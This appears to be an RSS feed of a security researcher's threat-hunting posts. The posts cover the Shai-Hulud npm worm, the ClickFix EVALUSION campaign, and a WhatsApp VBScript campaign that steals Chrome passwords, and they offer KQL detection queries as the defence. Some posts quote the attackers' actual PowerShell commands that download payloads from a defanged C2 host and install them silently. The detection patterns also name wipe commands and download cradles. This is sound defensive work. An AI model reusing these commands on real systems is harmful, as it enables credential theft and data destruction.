<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Puneet Jena</title>
    <description>The latest articles on Forem by Puneet Jena (@jenapuneet).</description>
    <link>https://forem.com/jenapuneet</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1115834%2Fc528fa45-95d1-446a-9ca8-754d8332238a.jpeg</url>
      <title>Forem: Puneet Jena</title>
      <link>https://forem.com/jenapuneet</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/jenapuneet"/>
    <language>en</language>
    <item>
      <title>Shai Hulud has resurfaced.</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Mon, 01 Dec 2025 11:15:29 +0000</pubDate>
      <link>https://forem.com/jenapuneet/shai-hulud-has-resurfaced-1bpn</link>
      <guid>https://forem.com/jenapuneet/shai-hulud-has-resurfaced-1bpn</guid>
      <description>&lt;p&gt;&lt;strong&gt;Shai-Hulud&lt;/strong&gt; has been discovered spreading through compromised npm packages. The malware executes hidden installation scripts during dependency installs, steals developer and cloud credentials, and attempts to self-replicate by modifying and republishing packages. In some cases, it includes destructive commands designed to wipe user environments if the malware loses access to its infrastructure.&lt;/p&gt;

&lt;p&gt;Monitoring for unexpected installation scripts, suspicious files in node_modules, unusual directories appearing in user home paths, and destructive system commands can help detect early signs of compromise.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft473wz30ysnplhsgl35p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft473wz30ysnplhsgl35p.png" alt=" " width="495" height="561"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa5tn2nwhnv7jfrc2z1mx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa5tn2nwhnv7jfrc2z1mx.png" alt=" " width="741" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection Query :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;// Detect bun environment payload drop&lt;br&gt;
let EnvFileDrop =&lt;br&gt;
DeviceFileEvents&lt;br&gt;
| where FileName has "bun_environment.js";&lt;br&gt;
// Detect execution of malicious JS stage scripts&lt;br&gt;
let JSStageExec =&lt;br&gt;
DeviceProcessEvents&lt;br&gt;
| where ProcessCommandLine has_any ("setup_bun.js", "bun_environment.js");&lt;br&gt;
// Detect suspicious bun installation pattern using curl / irm / iex&lt;br&gt;
let BunInstallExec =&lt;br&gt;
DeviceProcessEvents&lt;br&gt;
| where FileName in~ ("powershell.exe", "pwsh.exe", "bash", "curl.exe", "curl")&lt;br&gt;
and (&lt;br&gt;
        (ProcessCommandLine contains "irm bun.sh/install.ps1" and ProcessCommandLine matches regex @"(iex|invoke-expression)")&lt;br&gt;
     or (ProcessCommandLine contains "curl" and ProcessCommandLine contains "bun.sh/install")&lt;br&gt;
    );&lt;br&gt;
// Detect secret scanning tool post-compromise&lt;br&gt;
let SecretsScannerExec =&lt;br&gt;
DeviceProcessEvents&lt;br&gt;
| where FileName in~ ("trufflehog.exe", "trufflehog")&lt;br&gt;
| where FolderPath contains ".truffle-cache";&lt;br&gt;
// Detect cleanup or anti-forensic behavior&lt;br&gt;
let CleanupWipeExec =&lt;br&gt;
DeviceProcessEvents&lt;br&gt;
| where (FileName =~ "cmd.exe" and ProcessCommandLine has "%USERPROFILE%" &lt;br&gt;
         and (ProcessCommandLine has "del /F /Q /s" or ProcessCommandLine has "cipher /w"))&lt;br&gt;
    or (FileName in~ ("bash", "sh") and ProcessCommandLine has "shred -uvz -n 1");&lt;br&gt;
// Union of behavioral signals&lt;br&gt;
union JSStageExec, BunInstallExec, SecretsScannerExec, CleanupWipeExec, EnvFileDrop&lt;br&gt;
| extend DetectionCategory = case(&lt;br&gt;
        ProcessCommandLine has_any ("setup_bun.js", "bun_environment.js"), "Initial JS Payload Execution",&lt;br&gt;
        ProcessCommandLine has "bun.sh/install", "Suspicious Bun Install",&lt;br&gt;
        FileName has "bun_environment.js", "IOC File Drop",&lt;br&gt;
        ProcessCommandLine has_any ("shred", "del /F", "cipher /w"), "Cleanup / Wipe Activity",&lt;br&gt;
        "Unclassified"&lt;br&gt;
    )&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnzkw9l9lib3t933258ks.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnzkw9l9lib3t933258ks.png" alt=" " width="800" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uploads five JSON files to the victim's repository&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;DeviceFileEvents &lt;br&gt;
| where FileName in~ ( &lt;br&gt;
    "setup_bun.js", &lt;br&gt;
    "bun_environment.js", &lt;br&gt;
    "cloud.json", &lt;br&gt;
    "contents.json", &lt;br&gt;
    "environment.json", &lt;br&gt;
    "truffleSecrets.json" &lt;br&gt;
) &lt;br&gt;
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName &lt;br&gt;
| order by Timestamp desc &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8movfoah543wet4wlx4v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8movfoah543wet4wlx4v.png" alt=" " width="800" height="358"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Spawns a detached Bun process running bun_environment.js with POSTINSTALL_BG=1 flag&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceProcessEvents &lt;br&gt;
| where ProcessCommandLine contains ".js" &lt;br&gt;
| where ProcessCommandLine contains "POSTINSTALL_BG=1" &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gllfu0zebrzu85fk947.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gllfu0zebrzu85fk947.png" alt=" " width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Reference :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/" rel="noopener noreferrer"&gt;https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://socket.dev/blog/shai-hulud-strikes-again-v2" rel="noopener noreferrer"&gt;https://socket.dev/blog/shai-hulud-strikes-again-v2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Hunting TTPs for the EVALUSION ClickFix Campaign Delivering Amatera Stealer &amp; NetSupport RAT</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Mon, 17 Nov 2025 20:04:38 +0000</pubDate>
      <link>https://forem.com/jenapuneet/hunting-ttps-for-the-evalusion-clickfix-campaign-delivering-amatera-stealer-netsupport-rat-22j4</link>
      <guid>https://forem.com/jenapuneet/hunting-ttps-for-the-evalusion-clickfix-campaign-delivering-amatera-stealer-netsupport-rat-22j4</guid>
      <description>&lt;p&gt;While investigating potential exposure to the recently reported EVALUSION ClickFix campaign, which abuses user-interaction-driven execution via the Win + R Run dialog, I focused on identifying suspicious execution patterns aligned with delivery behavior observed in the campaign. This campaign ultimately deploys Amatera Stealer and NetSupport RAT through a .NET-based downloader delivered from public file-sharing platforms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kql #1 , Detect suspicious user-initiated execution via the Run dialog (Win + R) where the attacker abuses RunMRU registry key updates to execute payloads such as PowerShell or MSHTA — a core TTP observed in the ClickFix EVALUSION campaign&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1d4cu6kgfjv4kaytagq.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1d4cu6kgfjv4kaytagq.webp" alt=" " width="790" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;DeviceRegistryEvents&lt;br&gt;
| where ActionType == "RegistryValueSet"&lt;br&gt;
| where RegistryKey endswith "\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"&lt;br&gt;
    and (RegistryValueData has "powershell" or RegistryValueData has "mshta")&lt;br&gt;
    and RegistryValueData !~ "mrulist"&lt;br&gt;
    and (RegistryValueData contains "http" or RegistryValueData contains "base64" or RegistryValueData matches regex @"(?i)\s-e[nc]{0,3}\s")&lt;br&gt;
| project Process_Creation=Timestamp, DeviceName, InitiatingProcessAccountName,RegistryValueData&lt;br&gt;
| join kind=inner (&lt;br&gt;
    DeviceProcessEvents&lt;br&gt;
    | where FileName contains "mshta.exe" or FileName contains "powershell.exe" &lt;br&gt;
    | project ProcessCreated=Timestamp, DeviceName, InitiatingProcessAccountName, FileName , ProcessCommandLine&lt;br&gt;
)on DeviceName, InitiatingProcessAccountName&lt;br&gt;
| where ProcessCreated between ((Process_Creation - timespan(5sec)) .. (Process_Creation + timespan(5sec)))&lt;br&gt;&lt;br&gt;
//| project Process_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName ,ProcessCommandLine&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftk1gsxauf8k0du9ockj6.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftk1gsxauf8k0du9ockj6.webp" alt=" " width="744" height="790"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kql #2 – Suspicious mshta.exe Execution&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where FileName =~ "mshta.exe"&lt;br&gt;
| where ProcessCommandLine has_any ("http:", "https:", "://")&lt;br&gt;
| project Timestamp, DeviceName, AccountName, InitiatingProcessAccountName,&lt;br&gt;
         FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kql #3 –  Detect potentially malicious PowerShell execution&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where FileName in~ ("powershell.exe", "pwsh.exe")&lt;br&gt;
| where &lt;br&gt;
    ProcessCommandLine has_any (&lt;br&gt;
        "-enc", "-encode",&lt;br&gt;
         "Invoke-WebRequest",&lt;br&gt;
        "curl", "DownloadFile",&lt;br&gt;
        "System.Net.HttpWebRequest",&lt;br&gt;
        "New-Object Net.WebClient",&lt;br&gt;
        "http:", "https:","iwr","iex"&lt;br&gt;
    ) &lt;br&gt;
    or ProcessCommandLine matches regex @"(?i)\s-e[nc]{0,3}\s"              // Encoded commands&lt;br&gt;
    or ProcessCommandLine matches regex @".&lt;em&gt;(From.*Base64).&lt;/em&gt;"              // Base64 payload decoding&lt;br&gt;
| project Timestamp, DeviceName, AccountName, InitiatingProcessAccountName,&lt;br&gt;
          FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kql #4 – This detection identifies cases where a file is downloaded from MediaFire—a file-hosting platform frequently abused by threat actors—and correlates it with suspicious PowerShell execution occurring within 10 seconds of the download event.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceFileEvents&lt;br&gt;
| where FileOriginUrl contains "mediafire" or FileOriginReferrerUrl contains "mediafire"&lt;br&gt;
| project T1=Timestamp, DeviceName, FileName, FileOriginUrl, FileOriginReferrerUrl&lt;br&gt;
| join kind=inner (&lt;br&gt;
    DeviceProcessEvents&lt;br&gt;
    | where FileName in~ ("powershell.exe", "pwsh.exe")&lt;br&gt;
    | where &lt;br&gt;
        ProcessCommandLine has_any (&lt;br&gt;
            "-enc", "-encode",&lt;br&gt;
            "Invoke-WebRequest",&lt;br&gt;
            "curl", "DownloadFile",&lt;br&gt;
            "New-Object Net.WebClient",&lt;br&gt;
            "http:", "https:","iex","iwr"&lt;br&gt;
        )&lt;br&gt;
        or ProcessCommandLine matches regex @"(?i)\s-e[nc]{0,3}\s"&lt;br&gt;
        or ProcessCommandLine matches regex @".&lt;em&gt;(From.*Base64).&lt;/em&gt;"&lt;br&gt;
    | project T2=Timestamp, DeviceName, ProcessCommandLine,&lt;br&gt;
              InitiatingProcessCommandLine, InitiatingProcessFileName&lt;br&gt;
) on DeviceName&lt;br&gt;
| extend timediff = abs(datetime_diff('second', T1, T2))&lt;br&gt;
| where timediff &amp;lt; 10&lt;br&gt;
| project T1, T2, timediff, DeviceName, FileOriginUrl, FileOriginReferrerUrl,&lt;br&gt;
          ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Validate file Downloads&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceFileEvents&lt;br&gt;
| where FileOriginUrl contains "mediafire" &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kql #5 – MSBuild-Spawned PowerShell Download Activity&lt;/strong&gt; ,&lt;br&gt;
&lt;strong&gt;This detection focuses on identifying scenarios where msbuild.exe—commonly abused as a Living-off-the-Land binary—is leveraged through process injection to spawn powershell.exe for the purpose of downloading the NetSupport RAT payload.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where InitiatingProcessFileName =~ "msbuild.exe"&lt;br&gt;
| where FileName in~ ("powershell.exe","pwsh.exe")&lt;br&gt;
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName&lt;/p&gt;

</description>
      <category>networksec</category>
      <category>news</category>
    </item>
    <item>
      <title>WhatsApp malware campaign targeting Chrome credential vaults</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Sun, 16 Nov 2025 21:57:12 +0000</pubDate>
      <link>https://forem.com/jenapuneet/whatsapp-malware-campaign-targeting-chrome-credential-vaults-1pgk</link>
      <guid>https://forem.com/jenapuneet/whatsapp-malware-campaign-targeting-chrome-credential-vaults-1pgk</guid>
      <description>&lt;p&gt;While hunting for malicious PowerShell techniques, we identified anomalous behavior indicative of staged payload execution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuw1f82mj12ju4f45wzac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuw1f82mj12ju4f45wzac.png" alt=" " width="800" height="50"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Initial Access &amp;amp; Delivery Chain Summary&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload.&lt;/li&gt;
&lt;li&gt;Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it:&lt;/li&gt;
&lt;li&gt;Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory.&lt;/li&gt;
&lt;li&gt;Executed the MSI file silently via msiexec.exe, which dropped an additional VBS script named “installer”.&lt;/li&gt;
&lt;li&gt;Created persistence by adding the installer script to the Run registry key.&lt;/li&gt;
&lt;li&gt;Downloaded a specific Python environment and executed a PowerShell script that profiled the installed Chrome version and downloaded the official Chrome test automation driver.&lt;/li&gt;
&lt;li&gt;Accessed and exfiltrated credentials stored in the Chrome password vault, continuously harvesting newly saved passwords due to the established persistence.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgi8xx0uae98mqwye9l0y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgi8xx0uae98mqwye9l0y.png" alt=" " width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WScript Executions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"wscript.exe" C:\Users*\AppData\Local\Temp\baixa_sscado.vbs&lt;/li&gt;
&lt;li&gt;"WScript.exe" C:\Users*\AppData\Local\Temp*&lt;em&gt;.zip.0e6&lt;/em&gt;.vbs&lt;/li&gt;
&lt;li&gt;"wscript.exe" C:\Users*\AppData\Local\Temp\installer.vbs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;PowerShell Download Activity&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/baixa_sscado.vbs' -OutFile $env:TEMP\baixa_sscado.vbs -UseBasicParsing"&lt;/li&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/teste_obscado.vbs' -OutFile $env:TEMP\installer.vbs -UseBasicParsing"&lt;/li&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/installer.msi' -OutFile $env:TEMP\installer.msi -UseBasicParsing"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;- Msiexec Execution&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"msiexec.exe" /i C:\Users*\AppData\Local\Temp\installer.msi /quiet /norestart&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Detection query :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There will be false positives in the results, which must be eliminated through validation and filtering.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DeviceProcessEvents&lt;br&gt;
| where InitiatingProcessFileName contains "wscript"&lt;br&gt;
| where FileName contains "powershell.exe"&lt;br&gt;
| where ProcessCommandLine has_any ("-enc", "-encode", "http", "https", "Invoke-RestMethod", "New-Object Net.WebClient", "System.Net.HttpWebRequest", "DownloadFile", "curl", "wget","iex","iwr")&lt;br&gt;
| distinct ProcessCommandLine,InitiatingProcessCommandLine&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;.vbs &amp;amp; .msi Execution Identification :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;union isfuzzy=true DeviceProcessEvents&lt;br&gt;
| where FileName contains "powershell.exe"&lt;br&gt;
| where ProcessCommandLine has_any ("-enc", "-encode", "http", "https", "Invoke-RestMethod", "New-Object Net.WebClient", "System.Net.HttpWebRequest", "DownloadFile", "curl", "wget","iex","iwr")&lt;br&gt;
| project DeviceName,T1 = Timestamp , ProcessCommandLine , InitiatingProcessCommandLine&lt;br&gt;
| join kind=inner ( DeviceProcessEvents&lt;br&gt;
| where ProcessCommandLine contains "wscript" or ProcessCommandLine contains "msiexec"&lt;br&gt;
| where ProcessCommandLine contains ".msi" or ProcessCommandLine contains ".vbs"&lt;br&gt;
| project DeviceName,T2 = Timestamp , ProcessCommandLine1 = ProcessCommandLine , InitiatingProcessCommandLine1 = InitiatingProcessCommandLine&lt;br&gt;
) on DeviceName&lt;br&gt;
| extend timedifference = abs(datetime_diff('minute', T1, T2))&lt;br&gt;
| where timedifference &amp;lt; 1&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.joesandbox.com/analysis/1801119/0/html" rel="noopener noreferrer"&gt;https://www.joesandbox.com/analysis/1801119/0/html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;IOC&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;36805f82166acf711007ab42e0e4147c10c7639fbf94eac9a1d26401e91a26ea&lt;/li&gt;
&lt;li&gt;8041b6cdeb3a4502066d18d024e671577dda23d4a1e4d083f34fcbfa39469279&lt;/li&gt;
&lt;li&gt;varegjopeaks[.]com/altor/teste_obscado[.]vbs&lt;/li&gt;
&lt;li&gt;varegjopeaks[.]com/altor/baixa_sscado[.]vbs&lt;/li&gt;
&lt;li&gt;varegjopeaks[.]com&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>discuss</category>
      <category>education</category>
      <category>news</category>
    </item>
    <item>
      <title>l</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Sun, 16 Nov 2025 21:29:33 +0000</pubDate>
      <link>https://forem.com/jenapuneet/l-3nl1</link>
      <guid>https://forem.com/jenapuneet/l-3nl1</guid>
      <description></description>
    </item>
    <item>
      <title>voltaj</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Sun, 16 Nov 2025 19:28:18 +0000</pubDate>
      <link>https://forem.com/jenapuneet/voltaj-3f73</link>
      <guid>https://forem.com/jenapuneet/voltaj-3f73</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjz9fvgd0xa94a5na0k3e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjz9fvgd0xa94a5na0k3e.png" alt=" " width="800" height="50"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While hunting for suspicious PowerShell commands and scripting interpreter activity, we identified evidence of multi-stage malicious execution involving VBS and PowerShell download cradles, MSI installation, and credential-stealing behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Initial Access &amp;amp; Delivery Chain Summary&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload.&lt;/li&gt;
&lt;li&gt;Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it:&lt;/li&gt;
&lt;li&gt;Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory.&lt;/li&gt;
&lt;li&gt;Executed the MSI file silently via msiexec.exe, which dropped an additional VBS script named “installer”.&lt;/li&gt;
&lt;li&gt;Created persistence by adding the installer script to the Run registry key.&lt;/li&gt;
&lt;li&gt;Downloaded a specific Python environment and executed a PowerShell script that profiled the installed Chrome version and downloaded the official Chrome test automation driver.&lt;/li&gt;
&lt;li&gt;Accessed and exfiltrated credentials stored in the Chrome password vault, continuously harvesting newly saved passwords due to the established persistence.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Observed Malicious Execution Activity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6nl7wjscke6ftldchju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6nl7wjscke6ftldchju.png" alt=" " width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;WScript Executions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"wscript.exe" C:\Users*\AppData\Local\Temp\baixa_sscado.vbs&lt;/li&gt;
&lt;li&gt;"WScript.exe" C:\Users*\AppData\Local\Temp**.zip.0e6*.vbs&lt;/li&gt;
&lt;li&gt;"wscript.exe" C:\Users*\AppData\Local\Temp\installer.vbs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PowerShell Download Activity&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/baixa_sscado.vbs' -OutFile $env:TEMP\baixa_sscado.vbs -UseBasicParsing"&lt;/li&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/teste_obscado.vbs' -OutFile $env:TEMP\installer.vbs -UseBasicParsing"&lt;/li&gt;
&lt;li&gt;"powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/installer.msi' -OutFile $env:TEMP\installer.msi -UseBasicParsing"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Msiexec Execution&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"msiexec.exe" /i C:\Users*\AppData\Local\Temp\installer.msi /quiet /norestart&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>WhatsApp malware campaign targeting Chrome credential vaults</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Sun, 16 Nov 2025 19:28:01 +0000</pubDate>
      <link>https://forem.com/jenapuneet/volta-2i5c</link>
      <guid>https://forem.com/jenapuneet/volta-2i5c</guid>
      <description>&lt;p&gt;While hunting for malicious PowerShell techniques, we identified anomalous behavior indicative of staged payload execution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhqlczyothr4eu5mi5ap7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhqlczyothr4eu5mi5ap7.png" alt=" " width="800" height="50"&gt;&lt;/a&gt;&lt;/p&gt;

